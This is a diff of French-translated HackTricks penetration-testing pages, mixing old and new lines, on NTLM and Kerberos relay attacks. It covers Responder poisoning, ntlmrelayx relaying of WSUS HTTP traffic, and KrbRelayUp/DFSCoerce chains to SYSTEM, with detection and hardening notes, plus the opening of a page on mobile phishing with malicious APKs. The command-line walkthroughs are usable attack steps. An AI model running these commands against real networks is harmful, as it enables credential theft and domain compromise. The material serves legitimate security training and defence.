- Techniques pour capturer les défis/réponses NTLMv1 pour un craquage plus facile : `responder -I <Interface> --lm --disable-ess`
|
||||
- Pour lancer Responder avec les paramètres par défaut : `responder -I <Interface>`
|
||||
- Pour un probing plus agressif (avec effets secondaires potentiels) : `responder -I <Interface> -P -r -v`
|
||||
- Techniques pour capturer des challenges/ réponses NTLMv1 afin de faciliter le cracking : `responder -I <Interface> --lm --disable-ess`
|
||||
- L'usurpation WPAD peut être activée avec : `responder -I <Interface> --wpad`
|
||||
- Les requêtes NetBIOS peuvent être résolues à l'IP de l'attaquant, et un proxy d'authentification peut être mis en place : `responder.py -I <interface> -Pv`
|
||||
- Les requêtes NetBIOS peuvent être résolues vers l'IP de l'attaquant, et un proxy d'authentification peut être mis en place : `responder.py -I <interface> -Pv`
|
||||
|
||||
### Poisoning DHCP avec Responder
|
||||
### DHCP Poisoning avec Responder
|
||||
|
||||
- Le spoofing des réponses DHCP peut empoisonner de manière permanente les informations de routage d'une victime, offrant une alternative plus discrète au poisoning ARP.
|
||||
- Spoofing des réponses DHCP peut empoisonner de façon permanente les informations de routage d'une victime, offrant une alternative plus discrète à l'ARP poisoning.
|
||||
- Cela nécessite une connaissance précise de la configuration du réseau cible.
|
||||
- Exécution de l'attaque : `./Responder.py -I eth0 -Pdv`
|
||||
- Cette méthode peut capturer efficacement les hachages NTLMv1/2, mais nécessite une manipulation soigneuse pour éviter toute perturbation du réseau.
|
||||
- Lancer l'attaque : `./Responder.py -I eth0 -Pdv`
|
||||
- Cette méthode peut capturer efficacement des hashes NTLMv1/2, mais elle nécessite une manipulation prudente pour éviter de perturber le réseau.
|
||||
|
||||
### Capture de Credentials avec Responder
|
||||
### Capture des identifiants avec Responder
|
||||
|
||||
- Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Réponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
|
||||
- Des tentatives peuvent être faites pour rétrograder à NetNTLMv1 ou désactiver ESS pour un craquage de credentials plus facile.
|
||||
- Responder va usurper des services en utilisant les protocoles mentionnés ci-dessus, capturant des identifiants (généralement NTLMv2 Challenge/Response) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
|
||||
- Des tentatives peuvent être faites pour downgrader vers NetNTLMv1 ou désactiver ESS afin de faciliter le cracking des identifiants.
|
||||
|
||||
Il est crucial de noter que l'utilisation de ces techniques doit être effectuée légalement et éthiquement, en s'assurant d'une autorisation appropriée et en évitant toute perturbation ou accès non autorisé.
|
||||
Il est crucial de noter que l'emploi de ces techniques doit se faire légalement et de manière éthique, en obtenant les autorisations appropriées et en évitant toute perturbation ou accès non autorisé.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh est un outil pour les testeurs de pénétration et les équipes rouges, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, effectuant des attaques de spoofing et de man-in-the-middle. L'outil a évolué d'un script PowerShell à un binaire C#, avec [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) et [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) comme versions principales. Des paramètres détaillés et des instructions peuvent être trouvés dans le [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
Inveigh est un outil pour penetration testers and red teamers, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, réalisant du spoofing et des attaques man-in-the-middle. L'outil a évolué d'un script PowerShell vers un binaire C#, avec [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) et [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) comme principales versions. Les paramètres détaillés et les instructions se trouvent dans le [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
Inveigh peut être opéré via PowerShell :
|
||||
Inveigh peut être opéré via PowerShell:
|
||||
```bash
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
Ou exécuté en tant que binaire C#:
|
||||
Ou exécuté en tant que C# binary:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
|
||||
Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, accordant un shell système si elle réussit. Les prérequis clés incluent :
|
||||
Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, octroyant un shell système si elle réussit. Les prérequis clés sont :
|
||||
|
||||
- L'utilisateur authentifié doit avoir un accès Admin Local sur l'hôte relayé.
|
||||
- L'utilisateur s'authentifiant doit avoir un accès Local Admin sur l'hôte relayé.
|
||||
- La signature SMB doit être désactivée.
|
||||
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
|
||||
Dans les scénarios où l'introduction directe au réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès admin local est disponible pour le chargement de pilotes.
|
||||
Dans les scénarios où une introduction directe sur le réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelisé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès Local Admin est disponible pour le chargement d'un driver.
|
||||
|
||||
PortBender setup and operation in Cobalt Strike:
|
||||
```bash
|
||||
@ -87,17 +87,17 @@ beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### Autres Outils pour l'Attaque par Relais NTLM
|
||||
### Autres outils pour NTLM Relay Attack
|
||||
|
||||
- **Metasploit** : Configuré avec des proxies, des détails sur les hôtes locaux et distants.
|
||||
- **smbrelayx** : Un script Python pour relayer des sessions SMB et exécuter des commandes ou déployer des portes dérobées.
|
||||
- **MultiRelay** : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou extraire des hachages.
|
||||
- **Metasploit**: Configuré avec des proxies, les détails des hôtes locaux et distants.
|
||||
- **smbrelayx**: un script Python pour relayer des sessions SMB et exécuter des commandes ou déployer des backdoors.
|
||||
- **MultiRelay**: un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes, ou dump hashes.
|
||||
|
||||
Chaque outil peut être configuré pour fonctionner via un proxy SOCKS si nécessaire, permettant des attaques même avec un accès réseau indirect.
|
||||
Chaque outil peut être configuré pour fonctionner via un SOCKS proxy si nécessaire, permettant des attaques même avec un accès réseau indirect.
|
||||
|
||||
### Fonctionnement de MultiRelay
|
||||
|
||||
MultiRelay est exécuté depuis le _**/usr/share/responder/tools**_ répertoire, ciblant des IP ou des utilisateurs spécifiques.
|
||||
MultiRelay est exécuté depuis le _**/usr/share/responder/tools**_ répertoire, en ciblant des IPs ou des utilisateurs spécifiques.
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||
@ -105,77 +105,139 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
Ces outils et techniques forment un ensemble complet pour mener des attaques de relais NTLM dans divers environnements réseau.
|
||||
Ces outils et techniques forment un ensemble complet pour réaliser des NTLM Relay attacks dans divers environnements réseau.
|
||||
|
||||
### Forcer les connexions NTLM
|
||||
### Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
|
||||
|
||||
Les clients WSUS s'authentifient auprès de leur serveur de mise à jour en utilisant NTLM sur HTTP (8530) ou HTTPS (8531). Lorsque HTTP est activé, les check-ins périodiques des clients peuvent être forcés ou interceptés sur le segment local et relayés avec ntlmrelayx vers des endpoints LDAP/LDAPS/SMB ou AD CS HTTP (ESC8) sans casser de hashes. Cela se fond dans le trafic de mise à jour normal et donne fréquemment des authentifications de comptes machine (HOST$).
|
||||
|
||||
What to look for
|
||||
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
|
||||
- WUServer (e.g., http://wsus.domain.local:8530)
|
||||
- WUStatusServer (reporting URL)
|
||||
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
|
||||
- DetectionFrequencyEnabled and DetectionFrequency (hours)
|
||||
- WSUS SOAP endpoints used by clients over HTTP:
|
||||
- /ClientWebService/client.asmx (approvals)
|
||||
- /ReportingWebService/reportingwebservice.asmx (status)
|
||||
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
|
||||
|
||||
Reconnaissance
|
||||
- Unauthenticated
|
||||
- Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
|
||||
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
|
||||
- Authenticated
|
||||
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
|
||||
- Query endpoints at scale from hosts (NetExec) or locally:
|
||||
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
|
||||
End-to-end HTTP relay steps
|
||||
1) Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof:
|
||||
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
|
||||
|
||||
2) Redirect port 8530 to your relay listener (optional, convenient):
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
|
||||
iptables -t nat -L PREROUTING --line-numbers
|
||||
|
||||
3) Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below):
|
||||
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
|
||||
|
||||
Other common targets:
|
||||
- Relay to SMB (if signing off) for exec/dump: -t smb://<host>
|
||||
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://<DC>
|
||||
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
|
||||
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
|
||||
For deeper AD CS abuse paths and tooling, see the AD CS page:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
4) Trigger a client check-in or wait for schedule. From a client:
|
||||
wuauclt.exe /detectnow
|
||||
or use the Windows Update UI (Check for updates).
|
||||
|
||||
5) Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
|
||||
|
||||
HTTPS constraint (8531)
|
||||
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.
|
||||
|
||||
Notes
|
||||
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
|
||||
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
|
||||
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
|
||||
|
||||
### Force NTLM Logins
|
||||
|
||||
In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how:
|
||||
|
||||
Sous Windows, vous **pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires**. Lisez la page suivante pour apprendre comment :
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Attaque de relais Kerberos
|
||||
## Kerberos Relay attack
|
||||
|
||||
Une **attaque de relais Kerberos** vole un **ticket AP-REQ** d'un service et le réutilise contre un second service qui partage la **même clé de compte d'ordinateur** (car les deux SPN se trouvent sur le même compte machine `$`). Cela fonctionne même si les **classes de service des SPN diffèrent** (par exemple, `CIFS/` → `LDAP/`) car la *clé* qui déchiffre le ticket est le hachage NT de la machine, et non la chaîne SPN elle-même, et la chaîne SPN ne fait pas partie de la signature.
|
||||
A **Kerberos relay attack** steals an **AP-REQ ticket** from one service and re-uses it against a second service that shares the **same computer-account key** (because both SPNs sit on the same `$` machine account). This works even though the SPNs’ **service classes differ** (e.g. `CIFS/` → `LDAP/`) because the *key* that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.
|
||||
|
||||
Contrairement au relais NTLM, le saut est limité à la *même hôte*, mais si vous ciblez un protocole qui vous permet d'écrire sur LDAP, vous pouvez enchaîner vers la **Délégation Contraignante Basée sur les Ressources (RBCD)** ou **l'enrôlement AD CS** et obtenir **NT AUTHORITY\SYSTEM** en un seul coup.
|
||||
Unlike NTLM relay, the hop is limited to the *same host* but, if you target a protocol that lets you write to LDAP, you can chain into **Resource-Based Constrained Delegation (RBCD)** or **AD CS enrollment** and pop **NT AUTHORITY\SYSTEM** in a single shot.
|
||||
|
||||
Pour des informations détaillées sur cette attaque, consultez :
|
||||
For detailed info about this attack check:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
- https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
|
||||
- https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
|
||||
|
||||
- 1. **Bases de Kerberos**
|
||||
- 1. **Kerberos basics**
|
||||
|
||||
| Token | But | Pertinence du relais |
|
||||
|-------|-----|----------------------|
|
||||
| **TGT / AS-REQ ↔ REP** | Prouve l'utilisateur au KDC | intact |
|
||||
| **Ticket de service / TGS-REQ ↔ REP** | Lié à un **SPN** ; chiffré avec la clé du propriétaire du SPN | interchangeable si les SPN partagent le compte |
|
||||
| **AP-REQ** | Le client envoie `TGS` au service | **ce que nous volons et rejouons** |
|
||||
| Token | Purpose | Relay relevance |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | Prouve l'utilisateur au KDC | untouched |
|
||||
| **Service ticket / TGS-REQ ↔ REP** | Lié à un **SPN** ; chiffré avec la clé du propriétaire du SPN | interchangeable if SPNs share account |
|
||||
| **AP-REQ** | Le client envoie `TGS` au service | **ce que nous volons & rejouons** |
|
||||
|
||||
* Les tickets sont chiffrés avec la **clé dérivée du mot de passe du compte qui possède le SPN**.
|
||||
* L'**Authentificateur** à l'intérieur de l'AP-REQ a un horodatage de 5 minutes ; la relecture à l'intérieur de cette fenêtre est valide jusqu'à ce que le cache du service voie un duplicata.
|
||||
* Windows vérifie rarement si la chaîne SPN dans le ticket correspond au service que vous atteignez, donc un ticket pour `CIFS/HOST` se déchiffre normalement bien sur `LDAP/HOST`.
|
||||
* L'**Authenticator** à l'intérieur de l'AP-REQ contient un horodatage de 5 minutes ; un replay dans cette fenêtre est valide jusqu'à ce que le cache du service détecte un doublon.
|
||||
* Windows vérifie rarement si la chaîne SPN dans le ticket correspond exactement au service que vous ciblez, donc un ticket pour `CIFS/HOST` se décryptera normalement correctement sur `LDAP/HOST`.
|
||||
|
||||
- 2. **Ce qui doit être vrai pour relayer Kerberos**
|
||||
- 2. **What must be true to relay Kerberos**
|
||||
|
||||
1. **Clé partagée :** les SPN source et cible appartiennent au même compte d'ordinateur (par défaut sur les serveurs Windows).
|
||||
2. **Pas de protection de canal :** SMB/LDAP désactivé et EPA désactivé pour HTTP/LDAPS.
|
||||
3. **Vous pouvez intercepter ou contraindre l'authentification :** poison LLMNR/NBNS, spoof DNS, **PetitPotam / DFSCoerce RPC**, faux AuthIP, DCOM malveillant, etc.
|
||||
4. **Source du ticket non déjà utilisée :** vous gagnez la course avant que le vrai paquet n'atteigne ou le bloquez complètement ; sinon, le cache de relecture du serveur déclenche l'Événement 4649.
|
||||
5. Vous devez d'une manière ou d'une autre être en mesure d'effectuer un **MitM dans la communication**, peut-être en faisant partie du groupe DNSAmins pour modifier le DNS du domaine ou en étant capable de changer le fichier HOST de la victime.
|
||||
1. **Shared key:** source and target SPNs belong to the same computer account (default on Windows servers).
|
||||
2. **No channel protection:** SMB/LDAP signing off and EPA off for HTTP/LDAPS.
|
||||
3. **You can intercept or coerce authentication:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, etc..
|
||||
4. **Ticket source not already used:** you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
|
||||
5. You need to somehow be able to perform a **MitM in the communication** maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
|
||||
|
||||
### Étapes de relais Kerberos
|
||||
### Kerberos Relay Steps
|
||||
|
||||
- 3.1 **Reconnaître l'hôte**
|
||||
- 3.1 **Recon the host**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **Démarrer l'écouteur de relais**
|
||||
- 3.2 **Démarrer le relay listener**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp` encapsule **KrbRelay → LDAP → RBCD → Rubeus → contournement SCM** dans un seul binaire.
|
||||
`KrbRelayUp` regroupe **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** dans un seul binaire.
|
||||
|
||||
- 3.3 **Forcer l'authentification Kerberos**
|
||||
- 3.3 **Coerce Kerberos auth**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce fait en sorte que le DC nous envoie un ticket Kerberos `CIFS/DC01`.
|
||||
DFSCoerce force le DC à nous envoyer un ticket Kerberos `CIFS/DC01`.
|
||||
|
||||
- 3.4 **Relayer l'AP-REQ**
|
||||
- 3.4 **Relay the AP-REQ**
|
||||
|
||||
KrbRelay extrait le blob GSS de SMB, le reconditionne en un bind LDAP et le transfère à `ldap://DC01`—l'authentification réussit car la **même clé** le déchiffre.
|
||||
KrbRelay extrait le blob GSS de SMB, le reconditionne dans un bind LDAP, et le transfère vers `ldap://DC01`—l'authentification réussit parce que la **même clé** le déchiffre.
|
||||
|
||||
- 3.5 **Abuser de LDAP ➜ RBCD ➜ SYSTEM**
|
||||
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
@ -185,45 +247,58 @@ SCMUACBypass.exe
|
||||
```
|
||||
Vous possédez maintenant **NT AUTHORITY\SYSTEM**.
|
||||
|
||||
### **D'autres chemins à connaître**
|
||||
|
||||
| Vecteur | Astuce | Pourquoi c'est important |
|
||||
|---------|--------|-------------------------|
|
||||
| **AuthIP / IPSec** | Un faux serveur envoie une **charge utile GSS-ID** avec n'importe quel SPN ; le client construit un AP-REQ directement vers vous | Fonctionne même à travers des sous-réseaux ; identifiants machine par défaut |
|
||||
| **DCOM / MSRPC** | Un résolveur OXID malveillant force le client à s'authentifier à un SPN et un port arbitraires | Élévation de privilèges *locale* pure ; contourne le pare-feu |
|
||||
| **AD CS Web Enroll** | Relayer le ticket machine à `HTTP/CA` et obtenir un certificat, puis **PKINIT** pour créer des TGT | Contourne les défenses de signature LDAP |
|
||||
| **Shadow Credentials** | Écrire `msDS-KeyCredentialLink`, puis PKINIT avec une paire de clés forgée | Pas besoin d'ajouter un compte d'ordinateur |
|
||||
### **Autres chemins utiles à connaître**
|
||||
|
||||
| Vecteur | Technique | Pourquoi c'est important |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | Un faux serveur envoie une **GSS-ID payload** avec n'importe quel SPN; le client construit une AP-REQ directement vers vous | Fonctionne même entre sous-réseaux; credentials machine par défaut |
|
||||
| **DCOM / MSRPC** | Un OXID resolver malveillant force le client à s'authentifier auprès d'un SPN et d'un port arbitraires | Escalade de privilèges purement *locale*; contourne le firewall |
|
||||
| **AD CS Web Enroll** | Relayer le ticket machine vers `HTTP/CA` et obtenir un cert, puis **PKINIT** pour fabriquer des TGTs | Contourne les protections de signature LDAP |
|
||||
| **Shadow Credentials** | Écrire `msDS-KeyCredentialLink`, puis PKINIT avec une paire de clés forgée | Pas besoin d'ajouter un compte ordinateur |
|
||||
|
||||
### **Dépannage**
|
||||
|
||||
| Erreur | Signification | Correction |
|
||||
|--------|---------------|------------|
|
||||
| `KRB_AP_ERR_MODIFIED` | Clé de ticket ≠ clé cible | Mauvais hôte/SPN |
|
||||
| Erreur | Signification | Solution |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | Clé du ticket ≠ clé de la cible | Mauvais hôte/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | Horloge > 5 min de décalage | Synchroniser l'heure ou utiliser `w32tm` |
|
||||
| Échec de liaison LDAP | Signature appliquée | Utiliser le chemin AD CS ou désactiver la signature |
|
||||
| Spam d'événement 4649 | Le service a vu un Authenticator en double | bloquer ou faire la course avec le paquet original |
|
||||
| LDAP bind fails | La signature est imposée | Utiliser le chemin AD CS ou désactiver la signature |
|
||||
| Event 4649 spam | Le service a vu un Authenticator dupliqué | bloquer ou concurrencer le paquet original |
|
||||
|
||||
|
||||
### **Détection**
|
||||
|
||||
* Augmentation de **l'événement 4769** pour `CIFS/`, `HTTP/`, `LDAP/` provenant de la même source en quelques secondes.
|
||||
* **L'événement 4649** sur le service indique qu'un replay a été détecté.
|
||||
* Une connexion Kerberos depuis **127.0.0.1** (relai vers SCM local) est très suspecte—cartographier via la règle Sigma dans la documentation de KrbRelayUp.
|
||||
* Surveiller les changements des attributs `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
|
||||
* Augmentation soudaine d'**Event 4769** pour `CIFS/`, `HTTP/`, `LDAP/` provenant de la même source en quelques secondes.
|
||||
* **Event 4649** sur le service indique un rejeu détecté.
|
||||
* Connexion Kerberos depuis **127.0.0.1** (relai vers le SCM local) est hautement suspecte — corréler via la règle Sigma dans les docs KrbRelayUp.
|
||||
* Surveiller les modifications des attributs `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
|
||||
|
||||
## **Renforcement**
|
||||
|
||||
## **Durcissement**
|
||||
|
||||
1. **Appliquer la signature LDAP & SMB + EPA** sur chaque serveur.
|
||||
2. **Séparer les SPN** afin que HTTP ne soit pas sur le même compte que CIFS/LDAP.
|
||||
2. **Séparer les SPN** pour que HTTP ne soit pas sur le même compte que CIFS/LDAP.
|
||||
3. Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. Définir **`ms-DS-MachineAccountQuota = 0`** pour arrêter les ajouts de machines non autorisées.
|
||||
5. Alerter sur **l'événement 4649** et les connexions Kerberos de boucle locale inattendues.
|
||||
4. Définir **`ms-DS-MachineAccountQuota = 0`** pour empêcher les jonctions d'ordinateurs non autorisés.
|
||||
5. Alerter sur **Event 4649** et les connexions Kerberos en loopback inattendues.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
|
||||
- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
|
||||
- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
|
||||
- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
|
||||
- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
|
||||
- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
|
||||
- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
|
||||
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,67 +1,67 @@
|
||||
# Phishing mobile & distribution d'applications malveillantes (Android & iOS)
|
||||
# Mobile Phishing & Malicious App Distribution (Android & iOS)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> Cette page couvre les techniques utilisées par des acteurs malveillants pour distribuer **malicious Android APKs** et **iOS mobile-configuration profiles** via phishing (SEO, social engineering, fausses boutiques, applications de rencontre, etc.).
|
||||
> Le contenu est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d'autres recherches publiques.
|
||||
> Cette page couvre les techniques utilisées par des acteurs de menace pour distribuer **malicious Android APKs** et **iOS mobile-configuration profiles** via le phishing (SEO, social engineering, fake stores, dating apps, etc.).
|
||||
> Le matériel est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d'autres recherches publiques.
|
||||
|
||||
## Flux d'attaque
|
||||
## Attack Flow
|
||||
|
||||
1. **Infrastructure SEO / Phishing**
|
||||
* Enregistrer des dizaines de domaines ressemblants (dating, cloud share, car service…).
|
||||
– Utiliser des mots-clés en langue locale et des emojis dans l'élément `<title>` pour améliorer le ranking sur Google.
|
||||
– Héberger *à la fois* les instructions d'installation Android (`.apk`) et iOS sur la même page de destination.
|
||||
2. **Téléchargement — première étape**
|
||||
* Android : lien direct vers un APK *non signé* ou d'un “third-party store”.
|
||||
* iOS : `itms-services://` ou lien HTTPS simple vers un **mobileconfig** malveillant (voir ci‑dessous).
|
||||
3. **Ingénierie sociale post-installation**
|
||||
* Au premier lancement, l'app demande un **code d'invitation / de vérification** (illusion d'accès exclusif).
|
||||
* Le code est **POSTé en clair HTTP** vers le Command-and-Control (C2).
|
||||
* Le C2 répond `{"success":true}` ➜ le malware poursuit son exécution.
|
||||
* L'analyse dynamique sandbox / AV qui ne soumet jamais un code valide ne voit **aucun comportement malveillant** (évasion).
|
||||
4. **Abus des permissions à l'exécution (Android)**
|
||||
* Les permissions dangereuses ne sont demandées **qu'après réponse positive du C2** :
|
||||
1. **SEO/Phishing Infrastructure**
|
||||
* Enregistrer des dizaines de domaines look-alike (dating, cloud share, car service…).
|
||||
– Utiliser des mots-clés en langue locale et des emojis dans l'élément `<title>` pour ranker sur Google.
|
||||
– Héberger *à la fois* les instructions d'installation Android (`.apk`) et iOS sur la même landing page.
|
||||
2. **First Stage Download**
|
||||
* Android : lien direct vers un APK *unsigned* ou provenant d’un “third-party store”.
|
||||
* iOS : `itms-services://` ou lien HTTPS simple vers un **mobileconfig** profile malveillant (voir ci‑dessous).
|
||||
3. **Post-install Social Engineering**
|
||||
* Au premier lancement l'app demande un **invitation / verification code** (illusion d'accès exclusif).
|
||||
* Le code est **POSTed over HTTP** au Command-and-Control (C2).
|
||||
* Le C2 répond `{"success":true}` ➜ le malware continue.
|
||||
* Une sandbox / AV en dynamic analysis qui ne soumet jamais de code valide ne voit **aucun comportement malveillant** (evasion).
|
||||
4. **Runtime Permission Abuse** (Android)
|
||||
* Les permissions dangereuses ne sont demandées **qu'après une réponse positive du C2** :
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Older builds also asked for SMS permissions -->
|
||||
```
|
||||
